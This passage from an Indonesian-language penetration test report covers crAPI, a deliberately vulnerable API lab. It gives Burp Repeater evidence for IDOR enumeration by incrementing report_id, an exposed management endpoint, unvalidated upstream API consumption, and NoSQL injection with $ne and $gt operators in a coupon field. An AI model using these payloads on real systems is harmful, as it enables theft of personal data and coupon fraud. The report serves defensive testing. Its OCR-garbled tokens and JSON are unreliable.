b. Tim mengakses endpoint manajemen /workshop/api/management/users/all dengan token user
biasa yang SAMA; server membalas HTTP 200 berisi PIl seluruh 16 user (email, nomor telepon, credit).

Figure 34 - Broken Function Level Authorization — Management Endpoint Exposes All Users (API5) - http://
127.0.0.1:8888/workshop/api/management/users/all (User Management) (Grey-box) - eksploitasi: dump PIl semua
user
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3.2.4 Broken Object Level Authorization (API1) - Broken Object Level
Authorization (IDOR) on Mechanic Reports

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS
Medium 6.5 /0 Yes CWE-639
Standard mapping API1:2023 Broken Object Level Authorization (OWASP API Security Top 10 2023)

API13:2023 Broken Object Property Level Authorization (OWASP API Security Top 10 2023)

Impact rating High
Bugcrowd VRT P2 - Insecure Direct Object References (IDOR) (VRT 3.3)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UL:N/S:U/C:H/I:N/A:N
Affected feature / URL http://127.0.0.1:8888/workshop/api/mechanic/mechanic_report?report_id={id}
(Mechanic Report)
Testing approach Grey-box
DESCRIPTION

Ditemukan kerentanan Broken Object Level Authorization pada endpoint mechanic report. Endpoint
menerima report_id sekuensial dan mengembalikan laporan servis milik pengguna lain, termasuk VIN
kendaraan dan email pemilik, tanpa memverifikasi keterkaitan apa pun dengan pemanggil.

IMPACT

Penyerang dapat memanfaatkan kerentanan ini untuk membaca data servis lintas-pengguna. Saat
pengujian, tim mengenumerasi nilai report_id dan membocorkan VIN serta email pemilik kendaraan
pengguna lain (Confidentiality).

RECOMMENDATION

1. Verifikasi report_id yang diminta terkait dengan user/mekanik pemanggil.
2. Gunakan UUID alih-alih identifier sekuensial.
3. Kembalikan hanya field yang benar-benar diperlukan.

REFERENCES

* VRT 3.3 - Insecure Direct Object References

* https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/
* https://cwe.mitre.org/data/definitions/639.html

* https://bugcrowd.com/vulnerability-rating-taxonomy

EVIDENCE

URL Terdampak: http://127.0.0.1:8888/workshop/api/mechanic/mechanic_report?report_id={id}
(Mechanic Report)

a. Tim membaca laporan pada report_id=1 sebagai referensi; server membalas HTTP 200.
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[ ] Burp Suite — Repeater

NORMAL: report_id=1 (referensi) Send > http://127.0.0.1:8888

Request Response

ri normal flow

HTTP/1.1 200 0K

Ser openresty/1.27.1.2
Content-Type: application/json
Content-Length: 479

GET /workshop/api/mechanic/mechanic_report?report_id=1| HTTP/1.1

Host: 127.0.0.1:8888

Authorization: Bearer eyJhbGci0iJSUzIINiJ9.eyJzdWIi0iJmYXFpaEBnbWFpbC5jb20ilCIpYXQ
10jE30TA20TA3MTQsImV4cCIBMTCSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrvM
WSqX1XkvyP_8xBeCNs40s@BwNFP6m15JkS_qAyFmcPJ9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF {
PlhalYV7A4h7XGY9sQNFyFwh1GXTSpSE5VNGZzMBGVb_QXNoeabnuvIWne rN6wlkLLOVEKMIVtAKEUPey1G
ciCnp-6Vm_xf7g53AWjZ1Zg9d3kbDjHAVNG97pn2czd98QQdK2E-DCQSYt8KSPLFR11qqB03gDeIv2HF I~
R-eds9QfnoeCUUk4BPBCND7BbqTFVVX6FUVx—A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g

“TRAC_JHN",

'jhon@example. con”,

Gl mple.com",
''9876570001"

"problem_details": "My car BMW - 5 Series is having issues.\nCan you give me a c
all on my mobile 9876570001,\n0r send me an email at robot@@l@example.com\nThank
s, \nRobot.\n

“created_on": "28 September, 2026, 14:28:07",

"updated_on": null,
"comments": []

» NORMAL FLOW: membaca laporan servis pada report_id=1 (referensi).

Figure 35 - Broken Object Level Authorization (IDOR) on Mechanic Reports (API1) - http://127.0.0.1:8888/workshop/api/
mechanic/mechanic_report?report_id={id} (Mechanic Report) (Grey-box) - Normal flow: referensi report_id=1

b. Tim menaikkan parameter menjadi report_id=2. Server mengembalikan laporan pemilik lain,
membocorkan VIN dan email kendaraan mereka (Confidentiality).

[ ) Burp Suite — Repeater

EXPLOIT4+CIA: report_id=2 Send > http://127.0.0.1:8888

Request Response

otak merah = bagian yang diubah dari normal fi

HTTP/1.1 200 OK

Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 490

GET /workshop/api/mechanic/mechanic_report?report_id=2) HTTP/1.1

Host: 127.0.0.1:8888

Authorization: Bearer eyJhbGci0iJSUzIINil9.eyJzdWIi0iJmYXFpaEBnbWFpbC5jb20ilCIpYXQ
10jE30TA20TA3MTQsImV4cCIBMTCSMTISNTUXNCWi cm9sZSI6InVZZXIifQ. qiVELYKhnGZYSQoVaqL rvM
WSgX1XkvyP_8xBeCNs40s0BwNFP6m15JkS_qAyFmcPJ9MqhN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF {
P1lhalYV7A4h7XGY9sQNFyFwh 1GXTSpSE5VNGZMBGVb_QXNoeabnuvIWne rN6wlkLLOVEKMIVtAKEUPey1G
ciCnp-6Vm_xf7953AWjZ1Zg9d3kbDjHAVN697pn2czd98QQdK2E-DCQSYt8K8PLFR11qqB03gDeIv2HFI~
R-eds90fnoeCUUk4BPBCND7BbGTFVVX6FUVX-A_1sIe8KmGNS110P6zcDsSmQFMHMubilsdv7g

nid: 2,
"mechanic": {
1,
hanic_code": "TRAC_JHN",

hon@example. com,

"vehicle": {
"id!
'8VAUIO3PRUQ686911",
"owner": {
"email! 0gba006@ mple.com",
"number": "9876570006"
b

},

"problem_details": "My car MG Motor - Hector Plus is having issues.\nCan you giv
e me a call on my mobile 9876570006,\nOr send me an email at pogba@@6@example.com
\nThanks, \nPogba.\n",

inprogress",

“created_on": "28 September, 2026, 14:28:07",
updated_on": null,

"comments"

}

» DAMPAK CIA: report_id dinaikkan (sekuensial) -> membocorkan laporan milik pemilik kendaraan lain (VIN + email jron@example.com). Confidentiality: data lintas-pengguna.

Figure 36 - Broken Object Level Authorization (IDOR) on Mechanic Reports (API1) - http://127.0.0.1:8888/workshop/api/
mechanic/mechanic_report?report_id={id} (Mechanic Report) (Grey-box) - Eksploitasi: report_id=2 membocorkan data
pemilik lain
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3.2.5 Unsafe Consumption of APIs (AP110) - Unsafe Consumption of APIs —
Unvalidated Upstream Response in Contact Mechanic

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS
Medium 5.4 Yes CWE-20

Standard mapping API10:2023 Unsafe Consumption of APIs (OWASP API Security Top 10 2023)
Impact rating Medium
Bugcrowd VRT P4 - Server Security Misconfiguration (VRT 1.13)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Affected feature / URL http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic)
Testing approach Grey-box

DESCRIPTION

Endpoint contact_mechanic mengonsumsi respons mechanic APl (URL yang dikendalikan klien) dan
memantulkannya ke pengguna tanpa memvalidasi struktur/isinya. Aplikasi secara implisit mempercayai
data upstream.

IMPACT

Penyerang dapat membuat aplikasi mengambil & memantulkan data upstream sembarang yang
dipengaruhi penyerang (bahkan error/HTML), memungkinkan eksfiltrasi respons internal atau
penyuntikan konten yang dipercaya aplikasi (Confidentiality/Integrity).

RECOMMENDATION

1. Validasi & sanitasi respons upstream (skema, content-type) sebelum diproses/dipantulkan.
2. Batasi tujuan upstream ke allow-list tepercaya (lihat juga temuan SSRF).
3.Jangan pantulkan respons upstream mentah ke klien.

REFERENCES
* VRT 1.13 - Server Security Misconfiguration
* https://owasp.org/API-Security/editions/2023/en/0xaa-unsafe-consumption-of-apis/
* https://cwe.mitre.org/data/definitions/20.html
* https://bugcrowd.com/vulnerability-rating-taxonomy
EVIDENCE
URL Terdampak: http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic)

a. Tim mengirim contact_mechanic dengan mechanic_api yang sah; workshop mengonsumsi respons
upstream dan menyertakannya di response_from_mechanic_api tanpa memvalidasi strukturnya.
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[ Burp Suite — Repeater
NORMAL: konsumsi mechanic API Send > http://127.0.0.1:8888

Request Response -

POST /workshop/api/merchant/contact_mechanic HTTP/1.1 HTTP/1.1 200 0K
Server: openresty/1.27.1.2
ation: Bearer eyJhbGci0iJSUzIINiJ9.eyJzdWIi0iJmYXFpaEBnbWFpbC5jb20il.CIpYXQ Content-Type: application/json
i10jE30TA20TA3MTQSImV4cCIGMTCcSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrvM Content-Length: 270
BeCNs40s0BwWNFP6m15JkS_qAyFmcPJ9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF

V7A4h7XGY9sQONFyFwh1GXTSpSE5VNGzMBGVb_QXNoeabnuvIWne rNéwlkLLOVEKMIVtAKEUPey1G
ciCnp-6Vm_xf7953AWjZ1Zg9d3kbDjHAVN697pn2czd98QQdK2E-DCQSYyt8K8PLFR11qqB03gDeIv2HF ]~ "response_from_mechanic_api": {
R-eds9QfnoeCUUk4BPBcND7BbqTFVVx6FUVX—A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g "mechanics": [

{
{"mechanic_code":"TRAC_JHN","problem_details": ,"mechanic_api":"http://127. . "id": 1,
1

:8888/workshop/api/mechanic/","number_of_repeats":1,"vin":"861PINB3CL6ZEAIXL "mechanic_code RAC_JHN",

jhon@example.com",
"number*

side 2,
"mechanic_code' RAC_JME",
"user
"emai E xample.com",
"number*

"previous_offset": null,
"next_offset": null
h

"status": 200

» NORMAL FLOW: workshop memanggil mechanic API dan menyertakan responsnya (response_from_mechanic_api) tanpa validasi struktur.

Figure 37 - Unsafe Consumption of APIs — Unvalidated Upstream Response in Contact Mechanic (API110) - http://
127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic) (Grey-box) - mengonsumsi mechanic
API

b. Tim mengubah mechanic_api ke URL upstream sembarang; workshop mengambilnya dan
memantulkan respons mentah (bahkan halaman HTML 404) ke klien, membuktikan data upstream
dipercaya & dipantulkan tanpa validasi.

[ ) Burp Suite — Repeater

EXPLOIT: pantulkan respons upstream mentah Send b http://127.0.0.1:8888

Request Response -

k merah = bagi
HTTP/1.1 404 Not Found
POST /workshop/api/merchant/contact_mechanic HTTP/1.1 Server: openresty/1.27.1.2

Host: 127.0.0.1:8888 Content-Type: application/json

Authorization: Bearer eyJhbGci0iJSUzIINiJ9.eyJzdWIiOiJmYXFpaEBnbWFpbC5jb20il.CIpYXQ Content-Length: 237

10jE30TA20TA3MTQsImV4cCIGMTCcSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrvM

WSgX1XkvyP_8xBeCNs40s@BwNFP6m15JkS_gAyFmcPJ9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF

PlhalYV7A4h7XGY9sQNFyFwh1GXTSpSE5VNGZzMBGVb_QXNoeabnuvIWne rN6wlkLLOVEKMIVtAKEUPey1G "(response_from_mechanic_api "\n<!doctype html>\n<html lang=\"en\">\n<head>\n

ciCnp-6Vm_xf7953AW;jZ1Zg9d3kbDjHAVN697pn2czd98QQdK2E-DCQSyt8K8PLFR11qqB03gDeIv2HFI— <title>Not Found</title>\n</head>\n<body>\n

R-eds9QfnoeCUUk4BPBcND7BbgTFVVXx6FUVX—A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g source was not found on this server.</p>\n</body>\n</html>\n",
"status": 404

<h1>Not Found</h1><p>The requested re

{"mechanic_code":"TRAC_JHN","problem_details" ,"mechanic_api":"|http://127.0.0.
1:8888/community/api/v2/community/posts/recent/', " number_of_repeats":1,"vin":"861P9
NB3CL6ZEA9X1"}

» DAMPAK: URL upstream diganti sembarang; workshop mengambil & MEMANTULKAN respons mentah (bahkan HTML/error) tanpa validasi -> aplikasi data yang dil ikan penyerang.

Figure 38 - Unsafe Consumption of APIs — Unvalidated Upstream Response in Contact Mechanic (API110) - http://
127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic) (Grey-box) - respons upstream mentah
dipantulkan
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3.2.6 Broken Object Level Authorization (API1) - Broken Object Level
Authorization (IDOR) on Order Return

RESULT CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS TESTED

PASS — No CWE-639

Standard mapping API1:2023 Broken Object Level Authorization (OWASP API Security Top 10 2023)
Affected feature / URL http://127.0.0.1:8888/workshop/api/shop/orders/return_order?order_id={id} (Return
Order)
Testing approach Grey-box
Result PASS — Pertahankan pemeriksaan kepemilikan pada aksi retur.
DESCRIPTION

Aksi retur pesanan diuji terhadap BOLA dengan mencoba meretur pesanan milik pengguna lain. Server
menegakkan otorisasi kepemilikan dan menolak permintaan.

EVIDENCE

URL Terdampak: http://127.0.0.1:8888/workshop/api/shop/orders/return_order?order_id={id} (Return
Order)

a. Tim login ke crAPI dan membuka 'Past Orders' yang menyediakan aksi 'Return' untuk pesanan milik
user — alur yang diuji di bawah.

crAPI Dashboard Shop Community Good Morning, Muhammad Fagih! Muhammad ... v

< Past Orders

Seat Wheel
$10.00 $10.00
Mon Sep 28 2026 Mon Sep 28 2026
Order Details Order Details

< Previous Next >
Talk to me! ®

Figure 39 - Broken Object Level Authorization (IDOR) on Order Return (API1) - http://127.0.0.1:8888 (Grey-box) -
Halaman Past Orders crAPI dengan aksi 'Return’ (browser)

b. Tim mencoba memproses retur untuk order_id=1 yang bukan milik attacker. Server membalas HTTP
403 "You are not allowed to access this resource!", mengonfirmasi kontrol efektif.
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[ ) Burp Suite — Repeater
EXPLOIT: retur order milik user lain (ditolak) Send >

Request

ang

POST /workshop/api/shop/orders/return_order?order_id=1) HTTP/1.1

Host: 127.0.0.1:8888

Authorization: Bearer eyJhbGci0iJSUzIINiJ9.eyJzdWIiOiJmYXFpaEBnbWFpbC5jb20ilCIpYXQ
10jE30TA20TA3MTQsImV4cCIGMTCSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrVM
WSgX1XkvyP_8xBeCNs40s0BwNFP6m15JkS_qAyFmcPJ9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF
PlhalYV7A4h7XGY9sQNFyFwh1GXTSpSE5VNGZzMBGVb_QXNoeabnuvIWne rN6éwlkLLOVEKMIVtAKEUPey1G
ciCnp-6Vm_xf7953AWjZ1Zg9d3kbDjHAVN697pn2czd98QQdK2E-DCQSyt8K8PLFR11qqB03gDeIv2HFI-
R-eds9QfnoeCUUk4BPBcND7BbqTFVVX6FUVX—A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g

CONFIDENTIAL

http://127.0.0.1:8888

Response

HTTP/1.1 403 Forbidden
Server: openresty/1.27.1.2

Content-Type: application/json
Content-Length: 58

"message": "You are |not allowed) to access this resource!"

» PERCOBAAN EKSPLOITASI: attacker mencoba memproses retur atas order_id=1 (bukan miliknya) -> 403 ditolak. KONTROL BERJALAN (PASS): otorisasi objek ditegakkan; CIA tidak terlanggar.

Figure 40 - Broken Object Level Authorization (IDOR) on Order Return (API1) - http://127.0.0.1:8888/workshop/api/
shop/orders/return_order?order_id={id} (Return Order) (Grey-box) - Percobaan ditolak: retur order milik user lain ->
403
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3.2.7 Broken Object Level Authorization (API1) - Missing Authentication Check on
Mechanic Report (Unauthenticated Access)

RESULT

Standard mapping

CVSS V3.1 BASE SCORE

Affected feature / URL
(Mechanic Report)
Testing approach Grey-box
Result
(lihat temuan FAIL terkait).
DESCRIPTION

EXPLOITED

No

WEAKNESS TESTED

CWE-306

API1:2023 Broken Object Level Authorization (OWASP API Security Top 10 2023)

http://127.0.0.1:8888/workshop/api/mechanic/mechanic_report?report_id={id}

PASS — Pertahankan autentikasi wajib; tambahkan juga pemeriksaan kepemilikan objek

Endpoint mechanic report diuji terhadap akses tanpa autentikasi. Server mewajibkan autentikasi dan

menolak permintaan tanpa token.
EVIDENCE

URL Terdampak:
(Mechanic Report)

http://127.0.0.1:8888/workshop/api/mechanic/mechanic_report?report_id={id}

a. Tim membaca sebuah mechanic report dengan token valid; server membalas HTTP 200 (normal

flow).

[ ] Burp Suite — Repeater

NORMAL: report dengan token (auth) Send P

Request

GET /workshop/api/mechanic/mechanic_report?report_id=1 HTTP/1.1

Host: 127 0.1:8888

Authorization: arer eyJhbGci0iJSUzIINiJ9.eyJzdWIi0iImYXFpaEBnbWFpbC5jb20il CIpYXQ
i0jE30 0TA3MTQsImV4cCIBMTCSMTISNTUXNC SZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrvM
WSgX1XkvyP_8xBeCNs40s@BwNFP6m15JkS_gAyFmcPJ9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF
P1lhalYV7A4h7XGY9sQNFyFwh1GXTSpSE5SVNGZMBGVb_QXNoeabnuvIWne riN6wlKLLOVEKMIVtAKEUPey1G
ciCnp-6Vm_xf7953AW]jZ1Zg9d3kbDjHAVN697pn2czd98QQdK2E-DCQSyt8K8PLFR11qqB03gDeIv2HFI-
R-eds9QfnoeCUUk4BPBCND7BbqTFVVX6FUVX—A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g

» NORMAL FLOW: membaca mechanic report dengan token valid -> 200.

http://127.0.0.1:8888

Response -

HTTP/1.1 200 0K

Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 479

ichs
: {

1,

nic_code": "TRAC_JHN",

"robot@@l@example. com”,
“number": "9876570001"
}
}

“"problem_details": "My car BMW - 5 Series is having issues.\nCan you give me a c

all on my bile 9876570001,\n0r send me an email at robot@@l@example.com\nThank

s, \nRobot.\n"
"status"
"created_o
“updated_on":

"comments": []

ing",
28 September, 2026, 14:28:07",
nult,

Figure 41 - Missing Authentication Check on Mechanic Report (Unauthenticated Access) (API1) - http://127.0.0.1:8888/
workshop/api/mechanic/mechanic_report?report_id={id} (Mechanic Report) (Grey-box) - Normal flow: report dengan
token valid
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b. Tim mengirim ulang permintaan tanpa header Authorization. Server membalas HTTP 401,
mengonfirmasi kontrol autentikasi efektif.

[ ) Burp Suite — Repeater

EXPLOIT: tanpa token (ditolak) Send > hitp://127.0.0.1:8888

Request Response

HTTP/1.1 401 Unauthorized
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 33

GET /workshop/api/mechanic/mechanic_report?report_id=1 HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json

# HEADER Authorization SENGAJA DIHAPUS {

"message": "JIWT Token required!"

}

» PERCOBAAN EKSPLOITASI: akses tanpa token -> 401. KONTROL AUTENTIKASI BERJALAN (PASS). (BOLA tetap terjadi via token user lain - linat [FAIL].)

Figure 42 - Missing Authentication Check on Mechanic Report (Unauthenticated Access) (API1) - http://127.0.0.1:8888/
workshop/api/mechanic/mechanic_report?report_id={id} (Mechanic Report) (Grey-box) - Percobaan ditolak: tanpa
token -> 401
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3.2.8 Unrestricted Access to Sensitive Business Flows (AP16) - Unrestricted Access
to Sensitive Business Flow — Coupon Claim (Replay Protected)

RESULT CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS TESTED

—rass [ o cwess

Standard mapping AP16:2023 Unrestricted Access to Sensitive Business Flows (OWASP API Security Top 10 2023)
Affected feature / URL http://127.0.0.1:8888/workshop/api/shop/apply_coupon (Coupon Claim)
Testing approach Grey-box
Result PASS — Klaim kupon yang sama dua kali ditolak (‘already claimed'); batas per-user
ditegakkan.
DESCRIPTION

Tim menguji apakah alur bisnis sensitif klaim kupon (yang menambah saldo) dapat disalahgunakan
dengan me-replay kupon yang sama. Server menegakkan batas klaim per-user dan menolak replay.

EVIDENCE
URL Terdampak: http://127.0.0.1:8888/workshop/api/shop/apply_coupon (Coupon Claim)

a. Dengan akun baru, tim mengklaim kupon TRAC075 untuk pertama kali; berhasil dan menambah
saldo akun.

[ ) Burp Suite — Repeater
NORMAL.: klaim kupon pertama kali Send P http://127.0.0.1:8888

Request Response -

= kotak merah = bagian y:
HTTP/1.1 200 OK
POST /workshop/api/shop/apply_coupon HTTP/1.1 Server: openresty/1.27.1.2

Host: 127.0.0.1:8888 Content-Type: application/json

Authorization: Bearer eyJhbGci0iJSUzI1INiJ9.eyJz i 25w (zZYXNDhAZXhhbXB Content-Length: 57
$255jb20iLCIpYXQi0jE30TA20TA3MzUsImV4cCIBMTC ZNSwicm9sZS nVzZX1ifQ.d-Ro5D
fRrA9zJp5DkmFxnT-Tj@UBMMNKVb—hLxG1S9EZ-1vKhCQgNXdNVNQI Twcw8wUEZ9R8vhn8cRSp2Q@FITBwW {
ENf1grDi7JqmCl1107EASpVEFWSIIIGtubNiBS_aAdNrKxE2PxVQ879At9DIpEvmQQOTVIqF89zupe6FotD e L7 5 0)
5BlaeTvn9hnNuzolsNy3ZNxDI-cg7oP@IyfDsXYY21T5dp0oOLfVnFpaejk5VoggaDjHSHmOzLHawlEa4x e "Coupon successfully applied!"
uXB_1y13_Lv9cn2MaqyLGnjYhC90pKf3BVzUu9v8VDPItKHkKCXqOBwd9D-DoKaRc8CDsnSb-DnJ3ndDci

QzpeGdrg

{{"coupon_code" : "TRAC@75" ), "amount": 75}

» NORMAL FLOW: akun mengklaim kupon TRAC075 pertama kali -> berhasil, saldo bertambah.

Figure 43 - Unrestricted Access to Sensitive Business Flow — Coupon Claim (Replay Protected) (API6) - http://
127.0.0.1:8888/workshop/api/shop/apply_coupon (Coupon Claim) (Grey-box) - klaim kupon pertama berhasil

b. Tim mencoba mengklaim kupon yang sama lagi; server menolak dengan 'already claimed',
menunjukkan alur bisnis dibatasi per user.
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[ ) Burp Suite — Repeater

EXPLOIT: replay kupon (ditolak) Send >

Request

yang

POST /workshop/api/shop/apply_coupon HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer eyJhbGci0iJSUzIINiJ9.eyJzdWIiO...(akun baru)

{{" coupon_code RAC@75" ), "amount":75}

CONFIDENTIAL

http://127.0.0.1:8888

Response

HTTP/1.1 400 Bad Request
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 97

{

"message": "TRAC@75 Coupon code is (already claimed| by you!! Please try with
another coupon code"

}

» KONTROL BERJALAN (PASS): mengklaim kupon yang sama untuk kedua kali ditolak (already claimed). Alur bisnis kupon dibatasi per user; CIA tidak terlanggar.

Figure 44 - Unrestricted Access to Sensitive Business Flow — Coupon Claim (Replay Protected) (API6) - http://
127.0.0.1:8888/workshop/api/shop/apply_coupon (Coupon Claim) (Grey-box) - replay ditolak
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3.3 crAPI Community Service (http://127.0.0.1:8888/community)

I 3.3.1 Security Misconfiguration (API8) - NoSQL Injection on Coupon Validation

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS

m 7.1 0 Yes CWE-943

Standard mapping API18:2023 Security Misconfiguration (OWASP API Security Top 10 2023)
Impact rating High
Bugcrowd VRT P1 - Server-Side Injection (VRT 1.12)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UL:N/S:U/C:H/I:L/A:N
Affected feature / URL http://127.0.0.1:8888/community/api/v2/coupon/validate-coupon (Coupon Validation)
Testing approach Grey-box
DESCRIPTION

Ditemukan kerentanan NoSQL injection pada endpoint validasi kupon. Nilai JSON coupon_code
diteruskan langsung ke query MongoDB tanpa pemaksaan tipe, sehingga memberikan operator query
(mis. {" ne™:"x"} atau {" gt":""}) mencocokkan kupon apa pun tanpa mengetahui kodenya.

IMPACT

Penyerang dapat memanfaatkan kerentanan ini untuk membocorkan kode kupon valid beserta nilainya
dan melewati validasi kupon demi diskon ilegal. Saat pengujian, tim memperoleh kupon valid tanpa
mengetahui kodenya (Confidentiality + Integrity).

RECOMMENDATION

1. Paksa coupon_code menjadi tipe string sebelum query; tolak objek dan operator.
2. Gunakan query yang di-parameter/sanitasi dan aktifkan validasi skema input.
3. Terapkan pengerasan input yang sama pada query berbasis MongoDB lainnya.

REFERENCES

* VRT 1.12 - Server-Side Injection

* https://owasp.org/API-Security/editions/2023/en/0xa8-security-misconfiguration/
* https://cwe.mitre.org/data/definitions/943.html

* https://bugcrowd.com/vulnerability-rating-taxonomy

EVIDENCE

URL Terdampak: http://127.0.0.1:8888/community/api/v2/coupon/validate-coupon (Coupon
Validation)

a. Tim mengirim kode kupon sebagai string biasa yang sudah diketahui (TRAC075); server membalas
HTTP 200 (penggunaan normal).
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[ ) Burp Suite — Repeater

NORMAL: kode kupon valid Send P

Request

POST /community/api/v2/coupon/validate-coupon HTTP/1.1

Host: 127.0.0.1:8888

Authorization: Bearer eyJhbGci0iJSUzIINiJ9.eyJzdWIiOiJmYXFpaEBnbWFpbC5jb20ilCIpYXQ
10jE30TA20TA3MTQsImV4cCIGMTCSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrVM
WSgX1XkvyP_8xBeCNs40s0BwNFP6m15JkS_qAyFmcPJ9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF
P1lhalYV7A4h7XGY9sQNFyFwh1GXTSpSE5VNGzMBGVb_QXNoeabnuvIWne rN6éwlkLLOVEKMIVtAKEUPey1G
ciCnp-6Vm_xf7953AWjZ1Zg9d3kbDjHAVN697pn2czd98QQdK2E-DCQSyt8K8PLFR11qqB03gDeIv2HFI-
R-eds9QfnoeCUUk4BPBcND7BbqTFVVX6FUVX—A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g

{"coupon_code" : "TRACO75" }

» NORMAL FLOW: user memasukkan kode kupon string yang ia ketahui (TRACO075) -> 200 valid.

CONFIDENTIAL

http://127.0.0.1:8888

Response

HTTP/1.1 200 0K

Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 79

"'coupon_code "TRACO75",
"amount 75",

"CreatedAt": "2026-09-28T14:27:38.7292"

Figure 45 - NoSQL Injection on Coupon Validation (API8) - http://127.0.0.1:8888/community/api/v2/coupon/validate-
coupon (Coupon Validation) (Grey-box) - Normal flow: kode kupon string valid

b. Tim mengganti coupon_code dengan operator NoSQL {"$ne":"x"}. Server mengembalikan kupon

valid tanpa tim mengetahui kodenya.

[ ] Burp Suite — Repeater

EXPLOIT: operator $ne Send P>

Request

al floy

POST /community/api/v2/coupon/validate-coupon HTTP/1.1

Host: 127.0.0.1:8888

Authorizatio Bearer eyJhbGci0iJSUzIINiJ9.eyJzdWIi0iImYXFpaEBnbWFpbC5jb20ilCIpYXQ
10jE30TA20TA3MTQsImV4cCIGMTCcSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrvM
WSgX1XkvyP_8xBeCNs40s@BwWNFP6m15JkS_gAyFmcPJI9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF
PlhalYV7A4h7XGY9sQNFyFwh1GXTSpSE5VNGZzMBGVb_QXNoeabnuvIWne rN6wlkLLOVEKMIVtAKEUPey1G
ciCnp-6Vm_xf7g53AWj Z1Zg9d3kbDjHAVN697pn2czd98QQdK2E-DCQSY t8K8PLFR11qqB03gDeIv2HFI—
R-eds9QfnoeCUUk4BPBcND7BbgTFVVX6FUVX-A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g

{"coupon_code":({"$ne "}

http://127.0.0.1:8888

Response

HTTP/1.1 200 0K

Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 79

oupon_code"
"amount": "75",
"CreatedAt": "2026-09-28T14:27:38.729Z"

"{TRACO75",

» EKSPLOITASI: nilai coupon_code diganti dengan OPERATOR NoSQL {"$ne":"x"} -> membocorkan kupon valid TANPA mengetahui kodenya.

Figure 46 - NoSQL Injection on Coupon Validation (API8) - http://127.0.0.1:8888/community/api/v2/coupon/validate-
coupon (Coupon Validation) (Grey-box) - Eksploitasi: operator $ne membocorkan kupon valid

c. Tim menggunakan operator {"$gt":""} yang juga mengembalikan kupon valid, mengonfirmasi NoSQL

injection (Confidentiality + Integrity).

[ ) Burp Suite — Repeater

EXPLOIT+CIA: operator $gt Send »

Request

= kotak merah = bagian yang diubah dari normal flo

POST /community/api/v2/coupon/validate-coupon HTTP/1.1

Host: 127.0.0.1:8888

Bearer eyJhbGci0iJSUzIINiJ9.eyJzdWIil mYXFpaEBnbWFpbC53jb20iL.CIpYXQ
i0jE30TA20TA3MTQsImV4cCIBMTCSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrvM
WSgX1XkvyP_8xBeCNs40s@BwWNFP6m15JkS_gAyFmcPJ9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF
P1lhalYV7A4h7XGY9sQNFyFwh1GXTSpSE5VNGzMBGVb_QXNoeabnuvIWne rN6wlkLLOVEKMIVtAKEUPey1G
ciCnp-6Vm_xf7g53AWj Z12g9d3kbDjHAVN697pn2czd98QQdK2E-DCQSY t8K8PLFR11qqB03gDeIv2HFI—
R-eds9QfnoeCUUk4BPBcND7BbqTFVVX6FUVX-A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g

Authorization

coupon_code" :({"$gt

http://127.0.0.1:8888

Response

HTTP/1.1 200 0K

Servi openresty/1.27.1.2
Content-Type: application/json
Content-Length: 79

» DAMPAK CIA: operator {"$gt":""} juga membocorkan kupon. Confidentiality (kode/nilai kupon bocor) + Integrity (validasi kupon dilewati).

Figure 47 - NoSQL Injection on Coupon Validation (API8) - http://127.0.0.1:8888/community/api/v2/coupon/validate-
coupon (Coupon Validation) (Grey-box) - Dampak: $gt juga membocorkan kupon, injeksi terkonfirmasi
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3.3.2 Security Misconfiguration (API8) - Coupon Validation with Normal String
Input

RESULT CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS TESTED

—rass [ o cwess

Standard mapping API18:2023 Security Misconfiguration (OWASP API Security Top 10 2023)
